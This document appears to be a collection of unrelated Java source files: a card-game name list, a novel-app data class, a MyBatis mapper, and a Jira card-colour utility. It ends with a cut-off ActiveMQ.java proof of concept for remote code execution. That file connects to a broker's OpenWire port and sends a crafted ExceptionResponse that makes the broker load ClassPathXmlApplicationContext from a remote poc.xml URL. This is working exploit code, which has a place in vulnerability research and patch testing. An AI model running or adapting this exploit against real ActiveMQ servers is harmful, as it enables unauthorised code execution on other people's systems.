"圣剑持有者", "圣枪弥撒", "星空战姬", "机械拳皇", //"武形破拳尊者", "巨蟹座", "狮子座", "金属巨龙", "凤凰", "月亮女神", "元素灵龙", "麒麟兽", "梦境守护者", "圣灵大祭司", "世界树之灵", "精灵女王", "黄金金属巨龙", "唤雨师", "复活节兔女郎", "梦境女神", "圣泉元神", "浮云青鸟", "雷雕之魂", "破晓守卫", "晓之奏者", "百花女神", //"银河观测者", "龙灵使者", "不幸青鸟", "森林之主", "月之公主", "花语祈求者", //"唤潮公主", "银河圣剑使", //"最后的牧羊人", "时光女神", "幻翼神丽雅", "星夜女神", "荆棘妖姬", //"智慧女神", "白羊座", "处女座", "射手座", "雷兽", "九头妖蛇", "远古蝎皇", "暴怒霸龙", "毒雾羽龙", "羽翼化蛇", "迷魅灵狐", "神谕火狐", "幻翼命运神", "远古海妖", "齐天美猴王", "怒雪咆哮", "战意斗神", "七彩之影", "龙角将军", "太古魔狼", "峦龙", "逐日凶狼", "摩羯大祭司", "黄金毒龙", "羽蛇神", "九命猫神", "断罪之镰", "风暴海皇", "创世神女", "霜狼酋长", //"邪能控制者", "孙悟空", "贪吃少女", "烈焰蛇魔", "武形火焰尊者", "金牛座", "摩羯座", "双鱼座", "毁灭之龙", "灵魂收割者", "恐惧之王", "背主之影", "幽灵巨龙", "巫妖领主", "刀锋女王", "月蚀兽", "赤面天狗", "亡灵守护神", "混沌之龙", "不死鸟化身", "堕落天使", "精灵王亡灵", "欲望惩罚者", "末日预言师", "无尽噩梦", "死域军神", "圆月魔女", "逐月恶狼", "蝗虫公爵", "狡诈邪神", "彼岸使者", "永夜真祖", "机甲魔神", "梦妖斩", "暗黑魔灵", "骸骨之王", "魂之乐师", "武形斗圣", "火刃侍者", "暗黑游侠", "骨灵巫女", "爱神", "雪月花", "骑士王血魂", "邪月翼魔", //"鬼灵猎杀者", "双子座", "水瓶座", "天秤座", "天蝎座" }; public static String[] weakBossGuardians = new String[] { "小矮人狙击者", "精灵法师", "精灵暗杀者", "兽语驾驭者", "独角兽", "神秘花精灵", "精灵长者", "守卫古树", "精灵祭司", "地岭拥有者", "水源制造者", "风暴召唤者", "火灵操控者", "翡翠龙", "金属巨龙", "凤凰", "魔剑士", "重甲骑兵", "喷火装甲车手", "火焰乌鸦", "狮鹫", "魔导师", "魔法结晶体", "圣骑士", "暴雪召唤士", "皇家卫队将领", "大主教", "秘银巨石像", "荣耀巨人", "大剑圣", "降临天使", "光明之龙", "蜘蛛人女王", "鳄鱼人酋长", "山羊人萨满", "犀牛人武士", "哥布林术士", "食人魔术士", "食人魔战士", "牛头人卫士", "蝎尾狮", "兽人将领", "狂暴狼人酋长", "牛头人酋长", "独眼巨人", "巨象人武士", "战斗猛犸象", "雷兽", "九头妖蛇", "地狱魔兽", "骷髅法师", "堕落精灵", "堕落精灵法师", "黑曜石像鬼", "恶魔伯爵", "邪眼", "梦魇", "木乃伊法老王", "美杜莎女王", "黑甲铁骑士", "大恶魔", "骨龙", "地狱红龙", "毁灭之龙", "灵魂收割者", "时空旅者", "东方僧人", "月之神兽", "沙漠吞虫", "魅魔", "暗影巨蟒", "痛苦之王", "霜雪树人", "皇家雄狮", "半鹿人守护者", "狮鹫骑士", "荒野狂虫", "奇美拉", "月亮女神", "战神", "远古蝎皇", "恐惧之王", "树人祭司", "雷电树人", "半鹿人祭司", "精灵审判长", "独角兽之王", "海盗船长", "巨型电鳗", "机械飞龙", "钻石巨石像", "火象人卫士", "火象人萨满", "蛮鱼人", "火象人领主", "洪荒巨熊", "鬼树人", "幽灵巨鲸", "黑魔导士", "巫妖学徒", "圣诞树人", "圣诞老人", "圣诞麋鹿", "背主之影", "震源岩蟾", "疾奔刺猬", "半鹿人长老", "月神弩炮车手", "元素灵龙", "麒麟兽", "光影魔术师", "圣堂武士", "炼金机甲", "纯洁圣女", "隐世先知", "雷电幽魂", "暗夜魔影", "恶灵之瞳", "幽灵巨龙", "巫妖领主", "荒原猎手", "熊人武士", "地行龙骑士", "暴怒霸龙", "毒雾羽龙", "羽翼化蛇", "森林丘比特", "新年爆竹", "梦境治愈师", "象牙角虫", "蒲公英仙子", "叶莲河童", "驯鹰射手", "迷魅灵狐", "半鹿人号角手", "巨岛龟幼崽", "枭羊族祭司", "刀锋女王", "高等暗精灵", "世界树之灵", "精灵女王", "枪炮玫瑰", "海军水手", "皇室舞者", "炎刃暗骑士", "王城巡逻犬", "彩翼公主", "冰峰女猎", "科学怪人", "机械兵团长", "鬼眼斗士", "海军司令", "浴火龙女", "半鱼人士卒", "黯灭制裁者", "幻翼命运神", "魔鹰族萨满", "尖牙捕食者", "犀角领主", "海潮歌姬", "唤雨师", "荒漠仙人掌", "魔能射手", "半狮人武士", "蛮族酋长", "冰雪巨人", "淘气灯灵", "尸腐守卫", "斗角恶魔", "恶灵之剑", "赤红地狱战马", "影子魔", "虚空假面", "地狱狮鹫", "鬼武者", "幽境裁决官", "赤炎鬼武士", "亡灵守护神", "混沌之龙", "不死鸟化身", "堕落天使", "小矮人工匠", "密纹骑士", "东方禅师", "皇家驯兽师", "赤瞳魔剑师", "裁决巨石像", "复仇血精灵", "梦境女神", "龙角将军", "仙狐巫女", "骸骨大将", "末日预言师", "魔能巨石像", "战场女武神", "时光女神", "圣堂执政官", "天界守护者" }; public List<CardData> getCardOfStar(int star) { List<CardData> result = new ArrayList<CardData>(); for (CardData card : this.cardMap.values()) { if (card.getStar() == star) { result.add(card); } } return result; } public List<CardData> getAllCards() { List<CardData> result = new ArrayList<CardData>(); for (CardData card : this.cardMap.values()) { result.add(card); } return result; } public List<CardData> getCardOfRace(Race race) { List<CardData> result = new ArrayList<CardData>(); for (CardData card : this.cardMap.values()) { if (card.getRace() == race) { result.add(card); } } return result; } public CardData getRandomCard() { String key = this.allKeys.get(Randomizer.getRandomizer().next(0, this.allKeys.size())); return this.cardMap.get(key); } public String[] getWeakBossHelpers() { return null; } }
cfvbaibai/CardFantasy
workspace/CardFantasyCore/src/cfvbaibai/cardfantasy/data/CardDataStore.java
65,533
package com.hxd.fendbzbuys.domain; import java.io.Serializable; import java.util.List; /** * Created by lichao on 17/8/27. */ public class FenleiBooksInfo implements Serializable { private static final long serialVersionUID = 1L; /** * total : 2231 * books : [{"_id":"594ce7a37d50d2a82147c6a6","title":"轮回乐园","author":"那一只蚊子","shortIntro":"苏晓与轮回乐园签订契约,穿梭在各个动漫世界内执行任务。\n  \n  喰种世界,苏晓手持利刃追杀独眼枭·高槻泉十几条街区。\n  \n  顶上战场,苏晓站在海军的尸堆上,遥望处刑台上脸色难看的战国,以及目瞪口呆的艾斯。\n  \n  众契约者:\u201c你特么是不是开了挂,你根本不是契约者吧,你绝对是原著里的隐藏人物!\u201d\n  \n  苏晓当然不是普通契约者,他是猎杀者\u2026\u2026。\n---------------\n简介略显无力,本书动漫无限流,作者节操满满,从不断更,请放心入坑。\n读者群:534789565","cover":"/agent/http%3A%2F%2Fimg.1391.com%2Fapi%2Fv1%2Fbookcenter%2Fcover%2F1%2F2044717%2F2044717_87093d361a4b483896b61fd55f8a2a28.jpg%2F","site":"zhuishuvip","majorCate":"同人","minorCate":"小说同人","sizetype":-1,"superscript":"","contentType":"txt","allowMonthly":false,"banned":0,"latelyFollower":30501,"retentionRatio":46.36,"lastChapter":"第十三章:这就是飞扬的感觉(第四更,月票加更)","tags":["二次元"]},{"_id":"584e84a38b1a0d355ed76316","title":"一切从斗破苍穹开始","author":"千影残光","shortIntro":"只是稍稍抱怨一下人生的苏邪,突然之间就穿越了,穿越的地方竟然是斗破苍穹的世界,一个普通人如何在强者如云的斗气大陆生存呢!还好,苏邪觉醒了自己的金手指,崇拜系统,为了赚取崇拜点,苏邪只能在装逼的道路上越走越远了\u2026\u2026","cover":"/agent/http%3A%2F%2Fimg.1391.com%2Fapi%2Fv1%2Fbookcenter%2Fcover%2F1%2F1463733%2F_1463733_275105.jpg%2F","site":"zhuishuvip","majorCate":"同人","minorCate":"小说同人","sizetype":-1,"superscript":"","contentType":"txt","allowMonthly":false,"banned":0,"latelyFollower":22508,"retentionRatio":51.31,"lastChapter":"第793章 狂澜(第四更,求订阅)","tags":["同人","衍生同人","二次元"]}] * ok : true */ public int total; public boolean ok; public List<BooksEntity> books; public class BooksEntity { /** * _id : 594ce7a37d50d2a82147c6a6 * title : 轮回乐园 * author : 那一只蚊子 * shortIntro : 苏晓与轮回乐园签订契约,穿梭在各个动漫世界内执行任务。 喰种世界,苏晓手持利刃追杀独眼枭·高槻泉十几条街区。 顶上战场,苏晓站在海军的尸堆上,遥望处刑台上脸色难看的战国,以及目瞪口呆的艾斯。 众契约者:“你特么是不是开了挂,你根本不是契约者吧,你绝对是原著里的隐藏人物!” 苏晓当然不是普通契约者,他是猎杀者……。 --------------- 简介略显无力,本书动漫无限流,作者节操满满,从不断更,请放心入坑。 读者群:534789565 * cover : /agent/http%3A%2F%2Fimg.1391.com%2Fapi%2Fv1%2Fbookcenter%2Fcover%2F1%2F2044717%2F2044717_87093d361a4b483896b61fd55f8a2a28.jpg%2F * site : zhuishuvip * majorCate : 同人 * minorCate : 小说同人 * sizetype : -1 * superscript : * contentType : txt * allowMonthly : false * banned : 0 * latelyFollower : 30501 * retentionRatio : 46.36 * lastChapter : 第十三章:这就是飞扬的感觉(第四更,月票加更) * tags : ["二次元"] */ public String _id; public String title; public String author; public String shortIntro; public String cover; public String site; public String majorCate; public String minorCate; public int sizetype; public String superscript; public String contentType; public boolean allowMonthly; public int banned; public int latelyFollower; public double retentionRatio; public String lastChapter; public List<String> tags; } }
zhrmghgws/fendbzbuys
src/main/java/com/hxd/fendbzbuys/domain/FenleiBooksInfo.java
65,534
package com.xinran.dao.mapper; import java.util.List; import org.apache.ibatis.annotations.Insert; import org.apache.ibatis.annotations.Options; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; import org.apache.ibatis.annotations.Update; import com.xinran.pojo.Activity; import com.xinran.pojo.Pagination; /** * @author 高海军 帝奇 Jun 3, 2015 9:44:35 PM */ public interface ActivityMapper { @Select("SELECT * FROM activity WHERE id = #{id}") public Activity findById(@Param("id") Long id); @Select("SELECT count(*) FROM activity") int countActivities(); @Select("SELECT * FROM activity order by id desc limit #{page.start},#{page.end}") List<Activity> findActivities(@Param("page") Pagination page); @Select("SELECT count(*) FROM activity where status=0 and now() > start_date and now() < end_date") int countAvailableActivities(); @Select("SELECT * FROM activity where status=0 and now() > start_date and now() < end_date order by id desc limit #{page.start},#{page.end}") List<Activity> findAvailableActivities(@Param("page") Pagination page); @Insert("insert into activity (created_At, updated_At,title, memo,start_date,end_date,type,action,score,status,img_id) values ( now(),now(),#{title}, #{memo}," + " #{startDate}, #{endDate}, #{type}, #{action}, #{score}, #{status}, #{imgId} )") // @Options(useGeneratedKeys = true, keyProperty = "id") @Options(useGeneratedKeys = true) public void addActivity(Activity activity); @Update("update activity set updated_At = #{updatedAt},title = #{title}, memo = #{memo},start_date=#{startDate}," + " end_date=#{endDate},type=#{type}, action= #{action},score =#{score},status=#{status},img_id=#{imgId} where id = #{id}") public int updateActivity(Activity activity); }
XinranReadingGroup/XinRanLibraryManagementSystem
web/src/main/java/com/xinran/dao/mapper/ActivityMapper.java
65,535
package cc.xiaoquer.jira.constant; import cc.xiaoquer.jira.api.beans.JiraIssue; import cc.xiaoquer.jira.storage.PropertiesCache; import com.alibaba.fastjson.JSON; import org.apache.commons.codec.digest.DigestUtils; import java.awt.*; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import java.util.concurrent.ConcurrentHashMap; /** * Created by Nicholas on 2017/9/21. * * 原则1:因为Jira任务是持续性录入的,必须保证在同一Sprint里的再次打印新任务的时候颜色是一致的,否则无法寻找血缘关系。 */ public enum JiraColor { STORY ("#FFFF00","纯黄"), TASK ("#808000","橄榄"), WHITE ("#ffffff", "白色"), //白 SUBTASK ("#7fa4d3", "子任务色"), // ; private String hex; private String desc; // private static final List<Colors> leftColors = new ArrayList<>(); //剩余可选的颜色 /** * Key:BoardId_SprintId_owner_colors * Value: * K = ownerName * V = color */ private static String CARD_COLOR_TYPE_OWNER = "owner"; private static String CARD_COLOR_TYPE_BLOOD = "blood"; private static Map<String, Map<String, String>> CARD_COLOR_MAP = new ConcurrentHashMap<>(); /** * Key:BoardId_SprintId_blood_colors * Value: * K = bloodKey最后的数字 * V = color */ // private static Map<String, Map<String, String>> BLOOD_COLOR_MAP = new ConcurrentHashMap<>(); static{ // Collections.addAll(leftColors, Colors.values()); } private JiraColor(String cssHex, String desc) { this.hex = cssHex; this.desc = desc; } public String getHex() { return hex; } private static String getCardColorCacheKey(JiraIssue jiraIssue, String colorType) { return jiraIssue.getBoardId() + "_" + jiraIssue.getSprintId() + "_" + colorType + "_colors"; } private static Map<String, String> _getCardColorMapCached(JiraIssue jiraIssue, String colorType) { String unionKey = getCardColorCacheKey(jiraIssue, colorType); Map<String, String> cachedColorsInSprint = CARD_COLOR_MAP.get(unionKey); if (cachedColorsInSprint == null) { cachedColorsInSprint = new LinkedHashMap<String, String>(); CARD_COLOR_MAP.put(unionKey, cachedColorsInSprint); } return cachedColorsInSprint; } // colorType: owner / blood // key = ownerName / blookKey最后的数字 private static String _getCardColorCachedByKey(JiraIssue jiraIssue, String colorType, String key) { Map<String, String> cachedColorsInSprint = _getCardColorMapCached(jiraIssue, colorType); if (cachedColorsInSprint == null) { return null; } return cachedColorsInSprint.get(key); } private static void _putCardColorToCache(JiraIssue jiraIssue, String colorType, String key, String color) { String unionKey = getCardColorCacheKey(jiraIssue, colorType); Map<String, String> cachedColorsInSprint = CARD_COLOR_MAP.get(unionKey); if(cachedColorsInSprint == null) { cachedColorsInSprint = new LinkedHashMap<String, String>(); } cachedColorsInSprint.put(key, color); CARD_COLOR_MAP.put(unionKey, cachedColorsInSprint); //持久化缓存 PropertiesCache.setProp(unionKey, JSON.toJSONString(cachedColorsInSprint)); PropertiesCache.flush(); } //从缓存中加载颜色信息 private synchronized static void _loadCache(JiraIssue jiraIssue) { if (CARD_COLOR_MAP.size() == 0) { CARD_COLOR_MAP.put( getCardColorCacheKey(jiraIssue, CARD_COLOR_TYPE_OWNER), _loadSingleCache(jiraIssue, CARD_COLOR_TYPE_OWNER)); CARD_COLOR_MAP.put( getCardColorCacheKey(jiraIssue, CARD_COLOR_TYPE_BLOOD), _loadSingleCache(jiraIssue, CARD_COLOR_TYPE_BLOOD)); } } private static Map<String, String> _loadSingleCache(JiraIssue jiraIssue, String colorType) { String cardColorJson = PropertiesCache.getProp(getCardColorCacheKey(jiraIssue, colorType)); if (cardColorJson == null || cardColorJson.trim().length() == 0) { return new LinkedHashMap<String, String>(); } Map<String, String> map = JSON.parseObject(cardColorJson, Map.class); if (map == null) { return new LinkedHashMap<String, String>(); } return map; } /** * 获取卡片上的所有颜色 * @param jiraIssue * @param ownerName 员工姓名 * @param bloodKey 血缘关系依赖的Key(issueKey后面的数字) * @return * [0] cardColor 卡片的整体颜色-以人为准 * [1] bloodColor 血缘关系的线索Key */ public static String[] getCardColor(JiraIssue jiraIssue, String ownerName, String bloodKey) { String needColorfulIssue = PropertiesCache.getProp("colorful"); //只有colorful显性设置了不等于1,才不会打印五颜六色的, 否则确认统一一种颜色 if (needColorfulIssue != null && !"1".equalsIgnoreCase(needColorfulIssue)) { return new String[]{SUBTASK.hex, Colors.COLOR_CRIMSON.hex}; } _loadCache(jiraIssue); String ownerColor = getOneColor(jiraIssue, CARD_COLOR_TYPE_OWNER, ownerName); String bloodColor = getOneColor(jiraIssue, CARD_COLOR_TYPE_BLOOD, bloodKey); return new String[]{ownerColor, bloodColor}; } //获取卡片上的一种颜色 private static String getOneColor(JiraIssue jiraIssue, String colorType, String colorKey) { final Colors[] colorArray = Colors.values(); final int totalColorCnt = colorArray.length; Map<String, String> cachedColorMap = _getCardColorMapCached(jiraIssue, colorType);; String oneColor = _getCardColorCachedByKey(jiraIssue, colorType, colorKey); if (oneColor == null) { int oneHashCode = Math.abs(DigestUtils.md5Hex(colorKey).hashCode()); int offset = oneHashCode % totalColorCnt; //第一步按照hashCode命中一个颜色 oneColor = colorArray[offset].hex; //第二步如果该颜色已经被占用 或者 与颜色相似!,就+1往下找' int loopTimes = 0; while (hasSimilarColorInMap(cachedColorMap, oneColor)) { //防止死循环 if (loopTimes++ > Colors.values().length) { break; } offset += 1; oneColor = colorArray[offset % totalColorCnt].hex; } //最终生成的颜色,放入缓存 _putCardColorToCache(jiraIssue, colorType, colorKey, oneColor); } return oneColor; } public static boolean isColorDark(String hexColor){ Colors configColor = Colors.toColor(hexColor); if (configColor!=null) { return configColor.dark == 1; } String r = hexColor.substring(1, 3); String g = hexColor.substring(3, 5); String b = hexColor.substring(5, 7); int red = Integer.parseInt(r, 16); int green = Integer.parseInt(g, 16); int blue = Integer.parseInt(b, 16); String rawFontColor = hexColor.substring(1, hexColor.length()); int rgb = Integer.parseInt(rawFontColor, 16); Color c = new Color(rgb); float[] hsb = Color.RGBtoHSB(c.getRed(), c.getGreen(), c.getBlue(), null); float brightness = hsb[2]; //Not accurate // if (brightness < 0.5) { // return false; // } else { // return true; // } //good one // return red + green + blue <= 0xff * 3 / 2; return 0.2126*red + 0.7152*green + 0.0722*blue < 128; } public static boolean hasSimilarColorInMap(Map<String, String> colorMap, String hexColor) { for (String color : colorMap.values()) { if (isColorSimilar(color, hexColor, 40)) { return true; } } return false; } //暂停77位分割线 public static boolean isColorSimilar(String aHexColor, String bHexColor) { return isColorSimilar(aHexColor, bHexColor, 77); } public static boolean isColorSimilar(String aHexColor, String bHexColor, int line) { if (getColorDiff(aHexColor, bHexColor) < line) { return true; } else { return false; } } public static double getColorDiff(String aHexColor, String bHexColor) { int r1, g1, b1, r2, g2, b2; r1 = Integer.parseInt(aHexColor.substring(1, 3), 16); g1 = Integer.parseInt(aHexColor.substring(3, 5), 16); b1 = Integer.parseInt(aHexColor.substring(5, 7), 16); r2 = Integer.parseInt(bHexColor.substring(1, 3), 16); g2 = Integer.parseInt(bHexColor.substring(3, 5), 16); b2 = Integer.parseInt(bHexColor.substring(5, 7), 16); int[] lab1 = rgb2lab(r1, g1, b1); int[] lab2 = rgb2lab(r2, g2, b2); return Math.sqrt(Math.pow(lab2[0] - lab1[0], 2) + Math.pow(lab2[1] - lab1[1], 2) + Math.pow(lab2[2] - lab1[2], 2)); } public static int[] rgb2lab(int R, int G, int B) { //http://www.brucelindbloom.com float r, g, b, X, Y, Z, fx, fy, fz, xr, yr, zr; float Ls, as, bs; float eps = 216.f / 24389.f; float k = 24389.f / 27.f; float Xr = 0.964221f; // reference white D50 float Yr = 1.0f; float Zr = 0.825211f; // RGB to XYZ r = R / 255.f; //R 0..1 g = G / 255.f; //G 0..1 b = B / 255.f; //B 0..1 // assuming sRGB (D65) if (r <= 0.04045) r = r / 12; else r = (float) Math.pow((r + 0.055) / 1.055, 2.4); if (g <= 0.04045) g = g / 12; else g = (float) Math.pow((g + 0.055) / 1.055, 2.4); if (b <= 0.04045) b = b / 12; else b = (float) Math.pow((b + 0.055) / 1.055, 2.4); X = 0.436052025f * r + 0.385081593f * g + 0.143087414f * b; Y = 0.222491598f * r + 0.71688606f * g + 0.060621486f * b; Z = 0.013929122f * r + 0.097097002f * g + 0.71418547f * b; // XYZ to Lab xr = X / Xr; yr = Y / Yr; zr = Z / Zr; if (xr > eps) fx = (float) Math.pow(xr, 1 / 3.); else fx = (float) ((k * xr + 16.) / 116.); if (yr > eps) fy = (float) Math.pow(yr, 1 / 3.); else fy = (float) ((k * yr + 16.) / 116.); if (zr > eps) fz = (float) Math.pow(zr, 1 / 3.); else fz = (float) ((k * zr + 16.) / 116); Ls = (116 * fy) - 16; as = 500 * (fx - fy); bs = 200 * (fy - fz); int[] lab = new int[3]; lab[0] = (int) (2.55 * Ls + .5); lab[1] = (int) (as + .5); lab[2] = (int) (bs + .5); return lab; } public static void main(String[] args) { System.out.println(JiraColor.isColorDark("#0000FF")); // System.out.println(getColorDiff("#FFB6C1", "#FFC0CB")); // System.out.println(getColorDiff("#FFB6C1", "#DC143C")); // System.out.println(getColorDiff("#FFC0CB", "#DC143C")); // // System.out.println("----------------------------"); // // System.out.println(getColorDiff("#FFB6C1", "#EE82EE")); // System.out.println(getColorDiff("#FFB6C1", "#4B0082")); // // System.out.println("----------------------------"); // System.out.println(getColorDiff("#ADFF2F", "#98FB98")); // System.out.println(getColorDiff("#E1FFFF", "#F0F8FF")); // } /** * 重复颜色,Dark深色,移除 */ enum Colors { COLOR_LIGHTPINK ("#FFB6C1","浅粉红"), COLOR_PINK ("#FFC0CB","粉红"), COLOR_CRIMSON ("#DC143C","猩红"), COLOR_LAVENDERBLUSH ("#FFF0F5","脸红的淡紫色"), COLOR_PALEVIOLETRED ("#DB7093","苍白的紫罗兰红色"), COLOR_HOTPINK ("#FF69B4","热情的粉红"), COLOR_DEEPPINK ("#FF1493","深粉色"), COLOR_MEDIUMVIOLETRED ("#C71585","适中的紫罗兰红色"), COLOR_ORCHID ("#DA70D6","兰花的紫色"), COLOR_THISTLE ("#D8BFD8","蓟"), COLOR_PLUM ("#DDA0DD","李子"), COLOR_VIOLET ("#EE82EE","紫罗兰"), COLOR_MAGENTA ("#FF00FF","洋红"), // COLOR_FUCHSIA ("#FF00FF","灯笼海棠(紫红色)"), // COLOR_DARKMAGENTA ("#8B008B","深洋红色"), COLOR_PURPLE ("#800080","紫色", 1), COLOR_MEDIUMORCHID ("#BA55D3","适中的兰花紫"), // COLOR_DARKVOILET ("#9400D3","深紫罗兰色"), // COLOR_DARKORCHID ("#9932CC","深兰花紫"), COLOR_INDIGO ("#4B0082","靛青"), COLOR_BLUEVIOLET ("#8A2BE2","深紫罗兰的蓝色"), COLOR_MEDIUMPURPLE ("#9370DB","适中的紫色"), COLOR_MEDIUMSLATEBLUE ("#7B68EE","适中的板岩暗蓝灰色"), COLOR_SLATEBLUE ("#6A5ACD","板岩暗蓝灰色"), // COLOR_DARKSLATEBLUE ("#483D8B","深岩暗蓝灰色"), COLOR_LAVENDER ("#E6E6FA","熏衣草花的淡紫色"), COLOR_GHOSTWHITE ("#F8F8FF","幽灵的白色"), COLOR_BLUE ("#0000FF","纯蓝", 1), COLOR_MEDIUMBLUE ("#0000CD","适中的蓝色"), // COLOR_MIDNIGHTBLUE ("#191970","午夜的蓝色"), // COLOR_DARKBLUE ("#00008B","深蓝色"), COLOR_NAVY ("#000080","海军蓝", 1), COLOR_ROYALBLUE ("#4169E1","皇军蓝"), COLOR_CORNFLOWERBLUE ("#6495ED","矢车菊的蓝色"), COLOR_LIGHTSTEELBLUE ("#B0C4DE","淡钢蓝"), // COLOR_LIGHTSLATEGRAY ("#778899","浅石板灰"), COLOR_SLATEGRAY ("#708090","石板灰"), COLOR_DODERBLUE ("#1E90FF","道奇蓝"), COLOR_ALICEBLUE ("#F0F8FF","爱丽丝蓝"), COLOR_STEELBLUE ("#4682B4","钢蓝"), COLOR_LIGHTSKYBLUE ("#87CEFA","淡蓝色"), COLOR_SKYBLUE ("#87CEEB","天蓝色"), COLOR_DEEPSKYBLUE ("#00BFFF","深天蓝"), COLOR_LIGHTBLUE ("#ADD8E6","淡蓝"), COLOR_POWDERBLUE ("#B0E0E6","火药蓝"), COLOR_CADETBLUE ("#5F9EA0","军校蓝"), COLOR_AZURE ("#F0FFFF","蔚蓝色"), COLOR_LIGHTCYAN ("#E1FFFF","淡青色"), COLOR_PALETURQUOISE ("#AFEEEE","苍白的绿宝石"), COLOR_CYAN ("#00FFFF","青色"), // COLOR_AQUA ("#00FFFF","水绿色"), COLOR_DARKTURQUOISE ("#00CED1","深绿宝石"), // COLOR_DARKSLATEGRAY ("#2F4F4F","深石板灰"), COLOR_DARKCYAN ("#008B8B","深青色"), COLOR_TEAL ("#008080","水鸭色"), COLOR_MEDIUMTURQUOISE ("#48D1CC","适中的绿宝石"), COLOR_LIGHTSEAGREEN ("#20B2AA","浅海洋绿"), COLOR_TURQUOISE ("#40E0D0","绿宝石"), COLOR_AUQAMARIN ("#7FFFAA","绿玉|碧绿色"), COLOR_MEDIUMAQUAMARINE ("#00FA9A","适中的碧绿色"), COLOR_MEDIUMSPRINGGREEN ("#00FF7F","适中的春天的绿色"), COLOR_MINTCREAM ("#F5FFFA","薄荷奶油"), COLOR_SPRINGGREEN ("#3CB371","春天的绿色"), COLOR_SEAGREEN ("#2E8B57","海洋绿"), COLOR_HONEYDEW ("#F0FFF0","蜂蜜"), COLOR_LIGHTGREEN ("#90EE90","淡绿色"), COLOR_PALEGREEN ("#98FB98","苍白的绿色"), COLOR_DARKSEAGREEN ("#8FBC8F","深海洋绿"), COLOR_LIMEGREEN ("#32CD32","酸橙绿"), COLOR_LIME ("#00FF00","酸橙色"), COLOR_FORESTGREEN ("#228B22","森林绿"), COLOR_GREEN ("#008000","纯绿"), COLOR_DARKGREEN ("#006400","深绿色"), COLOR_CHARTREUSE ("#7FFF00","查特酒绿"), COLOR_LAWNGREEN ("#7CFC00","草坪绿"), COLOR_GREENYELLOW ("#ADFF2F","绿黄色"), COLOR_OLIVEDRAB ("#556B2F","橄榄土褐色"), COLOR_BEIGE ("#F5F5DC","米色(浅褐色)"), COLOR_LIGHTGOLDENRODYELLOW ("#FAFAD2","浅秋麒麟黄"), COLOR_IVORY ("#FFFFF0","象牙"), COLOR_LIGHTYELLOW ("#FFFFE0","浅黄色"), // COLOR_YELLOW ("#FFFF00","纯黄"), //给故事用 // COLOR_OLIVE ("#808000","橄榄"), //给任务用 COLOR_DARKKHAKI ("#BDB76B","深卡其布"), COLOR_LEMONCHIFFON ("#FFFACD","柠檬薄纱"), COLOR_PALEGODENROD ("#EEE8AA","灰秋麒麟"), COLOR_KHAKI ("#F0E68C","卡其布"), COLOR_GOLD ("#FFD700","金"), COLOR_CORNISLK ("#FFF8DC","玉米色"), COLOR_GOLDENROD ("#DAA520","秋麒麟"), COLOR_FLORALWHITE ("#FFFAF0","花的白色"), COLOR_OLDLACE ("#FDF5E6","老饰带"), COLOR_WHEAT ("#F5DEB3","小麦色"), COLOR_MOCCASIN ("#FFE4B5","鹿皮鞋"), COLOR_ORANGE ("#FFA500","橙色"), COLOR_PAPAYAWHIP ("#FFEFD5","番木瓜"), COLOR_BLANCHEDALMOND ("#FFEBCD","漂白的杏仁"), COLOR_NAVAJOWHITE ("#FFDEAD","纳瓦霍白"), COLOR_ANTIQUEWHITE ("#FAEBD7","古代的白色"), COLOR_TAN ("#D2B48C","晒黑"), COLOR_BRULYWOOD ("#DEB887","结实的树"), COLOR_BISQUE ("#FFE4C4","(浓汤)乳脂,番茄等"), COLOR_DARKORANGE ("#FF8C00","深橙色"), COLOR_LINEN ("#FAF0E6","亚麻布"), COLOR_PERU ("#CD853F","秘鲁"), COLOR_PEACHPUFF ("#FFDAB9","桃色"), COLOR_SANDYBROWN ("#F4A460","沙棕色"), COLOR_CHOCOLATE ("#D2691E","巧克力"), COLOR_SADDLEBROWN ("#8B4513","马鞍棕色", 1), COLOR_SEASHELL ("#FFF5EE","海贝壳"), COLOR_SIENNA ("#A0522D","黄土赭色"), COLOR_LIGHTSALMON ("#FFA07A","浅鲜肉(鲑鱼)色"), COLOR_CORAL ("#FF7F50","珊瑚"), COLOR_ORANGERED ("#FF4500","橙红色"), COLOR_DARKSALMON ("#E9967A","深鲜肉(鲑鱼)色"), COLOR_TOMATO ("#FF6347","番茄"), COLOR_MISTYROSE ("#FFE4E1","薄雾玫瑰"), COLOR_SALMON ("#FA8072","鲜肉(鲑鱼)色"), COLOR_SNOW ("#FFFAFA","雪"), COLOR_LIGHTCORAL ("#F08080","淡珊瑚色"), COLOR_ROSYBROWN ("#BC8F8F","玫瑰棕色"), COLOR_INDIANRED ("#CD5C5C","印度红"), // COLOR_RED ("#FF0000","纯红"), // COLOR_BROWN ("#A52A2A","棕色"), // COLOR_FIREBRICK ("#B22222","耐火砖"), // COLOR_DARKRED ("#8B0000","深红色"), // COLOR_MAROON ("#800000","栗色"), COLOR_WHITE ("#FFFFFF","纯白"), COLOR_WHITESMOKE ("#F5F5F5","白烟"), // COLOR_GAINSBORO ("#DCDCDC","亮灰色"), // COLOR_LIGHTGREY ("#D3D3D3","浅灰色"), COLOR_SILVER ("#C0C0C0","银白色"), // COLOR_DARKGRAY ("#A9A9A9","深灰色"), // COLOR_GRAY ("#808080","灰色"), // COLOR_DIMGRAY ("#696969","暗淡的灰色"), // COLOR_BLACK ("#000000","纯黑"), ; private String hex; private int dark; private String desc; private Colors(String hex, String desc) { this.hex = hex; this.desc = desc; } private Colors(String hex, String desc, int dark) { this.hex = hex; this.desc = desc; this.dark = dark; } public static Colors toColor(String hex) { for (Colors colors : Colors.values()) { if (colors.hex.equals(hex)) { return colors; } } return null; } } }
NicholasQu/JiraScrumCardsPrinter
src/main/java/cc/xiaoquer/jira/constant/JiraColor.java
65,541
import java.io.*; import java.net.Socket; public class ActiveMQ { public static void main(final String[] args) throws Exception { System.out.println("[*] Poc for ActiveMQ openwire protocol rce"); String ip = "127.0.0.1"; int port = 61616; String pocxml= "http://127.0.0.1:8000/poc.xml"; Socket sck = new Socket(ip, port); OutputStream os = sck.getOutputStream(); DataOutputStream out = new DataOutputStream(os); out.writeInt(0); //无所谓 out.writeByte(31); //dataType ExceptionResponseMarshaller out.writeInt(1); //CommandId out.writeBoolean(true); //ResponseRequired out.writeInt(1); //CorrelationId out.writeBoolean(true); //use true -> red utf-8 string out.writeBoolean(true); out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); //use true -> red utf-8 string out.writeBoolean(true); out.writeUTF(pocxml); //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce out.close(); os.close(); sck.close(); System.out.println("[*] Target\t" + 